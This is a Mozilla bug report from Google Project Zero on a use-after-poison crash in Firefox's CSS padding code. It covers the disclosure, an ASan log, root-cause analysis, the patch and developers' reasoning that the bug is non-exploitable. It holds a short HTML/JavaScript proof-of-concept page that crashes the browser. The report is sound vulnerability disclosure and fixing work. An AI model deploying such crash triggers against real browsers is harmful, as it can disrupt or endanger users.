Closed Bug 1340593 Opened 3 years ago Closed 3 years ago

use-after-poison in nsStylePadding::GetPadding

Categories

(Core :: CSS Parsing and Computation, defect, critical)

defect
Not set
critical

Tracking

()

RESOLVED FIXED
mozilla54
Tracking Status
firefox-esr45 --- wontfix
firefox51 --- wontfix
firefox52 --- fixed
firefox-esr52 --- fixed
firefox53 --- fixed
firefox54 --- fixed

People

(Reporter: ifratric, Assigned: dbaron)

References

Details

(4 keywords, Whiteboard: [post-critsmash-triage][adv-main52-])

Attachments

(4 files, 1 obsolete file)

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Steps to reproduce:

There is a use-after-poison issue in Firefox. The vulnerability was confirmed on the nightly ASan build. 

Please note: This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

With any fix, please give credit for identifying the vulnerability to Ivan Fratric of Google Project Zero.

PoC:

=================================================================

<style>
* { padding: inherit; }
</style>
<script>
function go() {
  var s = menu.style;
  s.setProperty("scroll-snap-destination", "1px 63%");
  s.setProperty("padding-left", "66%");
  button.scrollBy({left: 60, top: -1});
  th.vAlign = "top";
  s.setProperty("animation-fill-mode", "forwards");
}
</script>
<body onload=go()>
<button id="button" hidden="hidden"></button>
<table>
<th id="th">foo</th>
<menu id="menu">
<menu>foo</menu>

=================================================================

ASan log:

=================================================================
==78996==ERROR: AddressSanitizer: use-after-poison on address 0x625000b05790 at pc 0x7efe7287f223 bp 0x7ffc444d1e00 sp 0x7ffc444d1df8
READ of size 1 at 0x625000b05790 thread T0
    #0 0x7efe7287f222 in ConvertsToLength /home/worker/workspace/build/src/obj-firefox/dist/include/nsStyleCoord.h:355:43
    #1 0x7efe7287f222 in nsStylePadding::GetPadding(nsMargin&) const /home/worker/workspace/build/src/layout/style/nsStyleStruct.h:1070
    #2 0x7efe728899b9 in mozilla::SizeComputationInput::ComputePadding(mozilla::WritingMode, mozilla::LogicalSize const&, nsIAtom*) /home/worker/workspace/build/src/layout/generic/ReflowInput.cpp:2921:25
    #3 0x7efe72872d9f in mozilla::SizeComputationInput::InitOffsets(mozilla::WritingMode, mozilla::LogicalSize const&, nsIAtom*, mozilla::SizeComputationInput::ReflowInputFlags, nsMargin const*, nsMargin const*) /home/worker/workspace/build/src/layout/generic/ReflowInput.cpp:2548:23
    #4 0x7efe72879162 in mozilla::ReflowInput::InitConstraints(nsPresContext*, mozilla::LogicalSize const&, nsMargin const*, nsMargin const*, nsIAtom*) /home/worker/workspace/build/src/layout/generic/ReflowInput.cpp:2226:5
    #5 0x7efe728712b4 in mozilla::ReflowInput::Init(nsPresContext*, mozilla::LogicalSize const*, nsMargin const*, nsMargin const*) /home/worker/workspace/build/src/layout/generic/ReflowInput.cpp:399:3
    #6 0x7efe728dde05 in nsBlockReflowContext::ComputeCollapsedBStartMargin(mozilla::ReflowInput const&, nsCollapsingMargin*, nsIFrame*, bool*, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockReflowContext.cpp:166:25
    #7 0x7efe728ddf90 in nsBlockReflowContext::ComputeCollapsedBStartMargin(mozilla::ReflowInput const&, nsCollapsingMargin*, nsIFrame*, bool*, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockReflowContext.cpp:175:17
    #8 0x7efe728d4fae in nsBlockFrame::ReflowBlockFrame(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3298:7
    #9 0x7efe728c9606 in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2829:5
    #10 0x7efe728c9606 in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2368
    #11 0x7efe728bfc92 in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
    #12 0x7efe72923070 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3
    #13 0x7efe72921a52 in nsCanvasFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:711:5
    #14 0x7efe72923070 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3
    #15 0x7efe729c7e3a in nsHTMLScrollFrame::ReflowScrolledFrame(mozilla::ScrollReflowInput*, bool, bool, mozilla::ReflowOutput*, bool) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:552:3
    #16 0x7efe729c92b0 in nsHTMLScrollFrame::ReflowContents(mozilla::ScrollReflowInput*, mozilla::ReflowOutput const&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:664:3
    #17 0x7efe729ccadb in nsHTMLScrollFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:1039:3
    #18 0x7efe72933792 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, int, int, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1072:3
    #19 0x7efe728a5759 in mozilla::ViewportFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:326:7
    #20 0x7efe726a64dc in mozilla::PresShell::DoReflow(nsIFrame*, bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9260:3
    #21 0x7efe726b9f44 in mozilla::PresShell::ProcessReflowCommands(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9433:24
    #22 0x7efe726b8de4 in mozilla::PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4234:11
    #23 0x7efe7262a9d4 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1915:9
    #24 0x7efe72634121 in nsRefreshDriver::WillRefresh(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2203:5
    #25 0x7efe726295b0 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1842:7
    #26 0x7efe726339fa in nsRefreshDriver::FinishedWaitingForTransaction() /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2137:5
    #27 0x7efe6dd939a7 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:495:5
    #28 0x7efe6de7cefb in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:584:5
    #29 0x7efe6d1e3f71 in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1537:20
    #30 0x7efe6cba8fb0 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1795:14
    #31 0x7efe6cba54ec in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1730:17
    #32 0x7efe6cba7b24 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1603:5
    #33 0x7efe6cba816e in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1636:5
    #34 0x7efe6bd9ab89 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
    #35 0x7efe6bd97480 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
    #36 0x7efe6cbb0ebf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #37 0x7efe6cb22028 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #38 0x7efe6cb22028 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #39 0x7efe6cb22028 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #40 0x7efe71f5a82f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #41 0x7efe7559d051 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
    #42 0x7efe7575ac0c in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4470:10
    #43 0x7efe7575c708 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4647:8
    #44 0x7efe7575d9cc in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4738:16
    #45 0x4dfebf in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:234:10
    #46 0x4dfebf in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:305
    #47 0x7efe8714882f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
    #48 0x41c2e8 in _start (/home/ifratric/p0/latest/firefox/firefox+0x41c2e8)

0x625000b05790 is located 5776 bytes inside of 8192-byte region [0x625000b04100,0x625000b06100)
allocated by thread T0 here:
    #0 0x4b2d5b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x7efe84725a24 in PL_ArenaAllocate /home/worker/workspace/build/src/nsprpub/lib/ds/plarena.c:127:27
    #2 0x7efe72620fc1 in nsPresArena::Allocate(unsigned int, unsigned long) /home/worker/workspace/build/src/layout/base/nsPresArena.cpp:165:3
    #3 0x7efe72513c24 in AllocateByObjectID /home/worker/workspace/build/src/layout/base/nsPresArena.h:65:12
    #4 0x7efe72513c24 in AllocateByObjectID /home/worker/workspace/build/src/layout/base/nsIPresShell.h:239
    #5 0x7efe72513c24 in operator new /home/worker/workspace/build/src/layout/style/nsRuleNode.h:152
    #6 0x7efe72513c24 in SetStyleData /home/worker/workspace/build/src/layout/style/nsRuleNode.h:303
    #7 0x7efe72513c24 in PropagateDependentBit /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1904
    #8 0x7efe72513c24 in nsRuleNode::WalkRuleTree(nsStyleStructID, nsStyleContext*) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:2566
    #9 0x7efe724e3f47 in nsStyleTextReset const* nsRuleNode::GetStyleTextReset<true>(nsStyleContext*) /home/worker/workspace/build/src/obj-firefox/layout/style/nsStyleStructList.h:92:1
    #10 0x7efe72582d6f in DoGetStyleTextReset<true> /home/worker/workspace/build/src/obj-firefox/layout/style/nsStyleStructList.h:92:1
    #11 0x7efe72582d6f in StyleTextReset /home/worker/workspace/build/src/obj-firefox/layout/style/nsStyleStructList.h:92
    #12 0x7efe72582d6f in nsStyleContext::SetStyleBits() /home/worker/workspace/build/src/layout/style/nsStyleContext.cpp:706
    #13 0x7efe72582b76 in FinishConstruction /home/worker/workspace/build/src/layout/style/nsStyleContext.cpp:171:3
    #14 0x7efe72582b76 in nsStyleContext::nsStyleContext(nsStyleContext*, nsIAtom*, mozilla::CSSPseudoElementType, already_AddRefed<nsRuleNode>, bool) /home/worker/workspace/build/src/layout/style/nsStyleContext.cpp:129
    #15 0x7efe72591449 in NS_NewStyleContext(nsStyleContext*, nsIAtom*, mozilla::CSSPseudoElementType, nsRuleNode*, bool) /home/worker/workspace/build/src/layout/style/nsStyleContext.cpp:1368:5
    #16 0x7efe725b318f in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:943:14
    #17 0x7efe725b80d9 in nsStyleSet::ResolveStyleForInternal(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&, nsStyleSet::AnimationFlag) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1393:10
    #18 0x7efe725b78cc in ResolveStyleFor /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1403:10
    #19 0x7efe725b78cc in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1350
    #20 0x7efe7276d06c in ResolveStyleFor /home/worker/workspace/build/src/layout/style/nsStyleSet.h:121:12
    #21 0x7efe7276d06c in ResolveStyleFor /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/StyleSetHandleInlines.h:85
    #22 0x7efe7276d06c in nsCSSFrameConstructor::MaybeRecreateFramesForElement(mozilla::dom::Element*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9331
    #23 0x7efe726687fc in mozilla::GeckoRestyleManager::RestyleElement(mozilla::dom::Element*, nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:164:7
    #24 0x7efe726f57d3 in ProcessOneRestyle /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:95:5
    #25 0x7efe726f57d3 in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:262
    #26 0x7efe7266c9bf in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/GeckoRestyleManager.h:386:7
    #27 0x7efe7266c9bf in mozilla::GeckoRestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:505
    #28 0x7efe726b8bdb in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44:3
    #29 0x7efe726b8bdb in mozilla::PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4197
    #30 0x7efe726a7e80 in FlushPendingNotifications /home/worker/workspace/build/src/layout/base/PresShell.cpp:4073:3
    #31 0x7efe726a7e80 in HandlePostedReflowCallbacks /home/worker/workspace/build/src/layout/base/PresShell.cpp:4041
    #32 0x7efe726a7e80 in mozilla::PresShell::DidDoReflow(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9088
    #33 0x7efe726ba0e9 in mozilla::PresShell::ProcessReflowCommands(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9445:7
    #34 0x7efe726b8de4 in mozilla::PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4234:11
    #35 0x7efe7262a9d4 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1915:9
    #36 0x7efe72638d25 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:305:7
    #37 0x7efe726389e2 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:326:5
    #38 0x7efe7263b063 in RunRefreshDrivers /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:722:5
    #39 0x7efe7263b063 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:631
    #40 0x7efe72636157 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::ParentProcessVsyncNotifier::Run() /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:508:9
    #41 0x7efe6bd9ab89 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
    #42 0x7efe6bd97480 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
    #43 0x7efe6cbb0ebf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #44 0x7efe6cb22028 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #45 0x7efe6cb22028 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #46 0x7efe6cb22028 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #47 0x7efe71f5a82f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #48 0x7efe7559d051 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19

SUMMARY: AddressSanitizer: use-after-poison /home/worker/workspace/build/src/obj-firefox/dist/include/nsStyleCoord.h:355:43 in ConvertsToLength
Shadow bytes around the buggy address:
  0x0c4a80158aa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a80158ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a80158ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a80158ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a80158ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a80158af0: 00 00[f7]f7 f7 f7 f7 00 00 00 00 00 00 00 00 00
  0x0c4a80158b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a80158b10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a80158b20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a80158b30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a80158b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==78996==ABORTING
Group: firefox-core-security → layout-core-security
Component: Untriaged → CSS Parsing and Computation
Product: Firefox → Core
Fwiw, with user_pref("layout.css.expensive-style-struct-assertions.enabled", true); you get a fatal assertion in AssertStructsNotUsedElsewhere.
Severity: normal → critical
Keywords: crash
We're using a nsStylePadding struct that's been poisoned, but these structs are allocated
from the shell arena so I don't think this is exploitable.

(gdb) p stylePadding
$1 = (const nsStylePadding *) 0x7fffc0bce830
(gdb) p/x *stylePadding
$2 = {
  mPadding = {
    mUnits = {0xff, 0xa7, 0xde, 0xf0}, 
    mValues = {{
        mInt = 0xf0dea7ff, 
        mFloat = 0x0, 
        mPointer = 0x7ffffffff0dea7ff
      }, {
        mInt = 0xf0dea7ff, 
        mFloat = 0x0, 
        mPointer = 0x7ffffffff0dea7ff
      }, {
        mInt = 0xf0dea7ff, 
        mFloat = 0x0, 
        mPointer = 0x7ffffffff0dea7ff
      }, {
        mInt = 0xf0dea7ff, 
        mFloat = 0x0, 
        mPointer = 0x7ffffffff0dea7ff
      }}
  }
}
I debugged this a bit; I suspect the problem is that when we inherit a struct in WalkRuleTree rather than calling into Compute*Data, we fail to set the NS_STYLE_HAS_CHILD_THAT_USES_RESET_STYLE bit when it is needed.
Assignee: nobody → dbaron
Status: NEW → ASSIGNED
Attachment #8838839 - Flags: review?(cam)
Attachment #8838839 - Attachment is patch: true
Attachment #8838839 - Attachment mime type: message/rfc822 → text/plain
This is a regression from bug 1180120; specifically, this fixes a change that should have been present in patch 1 of that bug, but was not.

Explicit inheritance can happen at a whole-struct level in nsRuleNode::WalkRuleTree rather than just a per-property level in nsRuleNode::Compute*Data.

This should cause us to realize that we need to restyle the child, which should in turn make us realize that it's sharing a style struct from its parent.  I *think* that means things will be safe as a result, although I didn't think through the whole thing all that carefully, and I hope Cameron recalls the invariants better than I do.  If you want, I can try to think it through more carefully, but it's been a long time since I've thought about this stuff.

I believe this is the only case where the entire struct is shared from parent to child; it's just very rare to hit it for reset structs.
Thanks Ivan for the bug report.

(In reply to David Baron :dbaron: ⌚️UTC-8 from comment #6)
> This should cause us to realize that we need to restyle the child, which
> should in turn make us realize that it's sharing a style struct from its
> parent.  I *think* that means things will be safe as a result, although I
> didn't think through the whole thing all that carefully, and I hope Cameron
> recalls the invariants better than I do.  If you want, I can try to think it
> through more carefully, but it's been a long time since I've thought about
> this stuff.

Yes that's right, it'll cause us to restyle the child, and that will get a new Padding struct pointer shared with the parent's new style context.
Attachment #8839056 - Attachment description: inh.html → reduced test
Attachment #8838839 - Flags: review?(cam) → review+
https://wiki.mozilla.org/Security/Bug_Approval_Process#Process_for_Security_Bugs says:

> Core-security bug fixes should just be landed by a developer without any explicit approval if:
> 
> A) The bug has a sec-low, sec-moderate, sec-other, or sec-want rating.
...

A applies here, so I'm going to land this on inbound.
https://hg.mozilla.org/integration/mozilla-inbound/rev/80def7a140e359c2ed7c28de037f58c02692c905
Bug 1340593 - Set NS_STYLE_HAS_CHILD_THAT_USES_RESET_STYLE from the WalkRuleTree codepath too.  r=heycam
Comment on attachment 8838839 [details] [diff] [review]
Set NS_STYLE_HAS_CHILD_THAT_USES_RESET_STYLE from the WalkRuleTree codepath too

Approval Request Comment
[Feature/Bug causing the regression]: bug 1180120
[User impact if declined]: Crashes or incorrect CSS computed styles causing incorrect page layout.  The crashes are believed not to be exploitable because they are mitigated by frame poisoning.
[Is this code covered by automated tests?]: Not particularly well in this case, it seems, although the style system in general is reasonably well tested.  We should land the test for this bug when it is opened up.
[Has the fix been verified in Nightly?]: no
[Needs manual test from QE? If yes, steps to reproduce]: no
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: very low risk
[Why is the change risky/not risky?]: it's setting a bit that's pretty obviously missing in this rarely-exercised codepath (we almost never go through this code when isReset is true), and that is set reasonably commonly in a different codepath.
[String changes made/needed]: no
Attachment #8838839 - Flags: approval-mozilla-beta?
Attachment #8838839 - Flags: approval-mozilla-aurora?
Comment on attachment 8838839 [details] [diff] [review]
Set NS_STYLE_HAS_CHILD_THAT_USES_RESET_STYLE from the WalkRuleTree codepath too

fix possible crashes in aurora53 and beta52
Attachment #8838839 - Flags: approval-mozilla-beta?
Attachment #8838839 - Flags: approval-mozilla-beta+
Attachment #8838839 - Flags: approval-mozilla-aurora?
Attachment #8838839 - Flags: approval-mozilla-aurora+
Hi, 

First of all, thank you for fixing this!

Seeing how you believe the bug to be non-exploitable, is there someplace where I can get more info about mitigations that make this sort of bugs non-exploitable? Looking at nsPresArena::Free (where presumably the object was freed) I see that the memory is being poisoned on free, but the object is also placed on a free list. Wouldn't it be possible to allocate another object of the same size from the free list (which IIUC removes the poisoning) and effectively turn this into a type confusion? Note: I'm not claiming this is exploitable, just not familiar enough with Firefox architecture to tell and I'd love to learn more.

If this is indeed non-exploitable, I'd be happy to file similar bugs in the future as FYI without applying the disclosure deadline.
https://hg.mozilla.org/mozilla-central/rev/80def7a140e3
Status: ASSIGNED → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla54
(In reply to Ivan Fratric from comment #14)
> Seeing how you believe the bug to be non-exploitable, is there someplace
> where I can get more info about mitigations that make this sort of bugs
> non-exploitable? Looking at nsPresArena::Free (where presumably the object
> was freed) I see that the memory is being poisoned on free, but the object
> is also placed on a free list. Wouldn't it be possible to allocate another
> object of the same size from the free list (which IIUC removes the
> poisoning) and effectively turn this into a type confusion? Note: I'm not
> claiming this is exploitable, just not familiar enough with Firefox
> architecture to tell and I'd love to learn more.

The free lists for objects using AllocateByObjectID/FreeByObjectID are specific to the object type.  nsStylePadding uses eArenaObjectID_nsStylePadding, which means that objects freed (via nsStylePadding::Destroy calling nsIPresShell::FreeByObjectID calling nsPresArena::FreeByObjectID calling nsPresArena::Free) are placed on a free list that is specific to nsStylePadding objects.  So reallocation of the object can result in incorrect style data, but not in type confusion, since reallocation is only to the same type object.
OK, that makes sense. Thanks for clarifying!
Group: layout-core-security → core-security-release
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]
Minusing for the advisory since this is non-exploitable.

Can We open this up, Dan?
Flags: needinfo?(dveditz)
Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][adv-main52-]
Group: core-security-release
Flags: needinfo?(dveditz)
Keywords: regression
Flags: qe-verify+ → qe-verify-
You need to log in before you can comment on or make changes to this bug.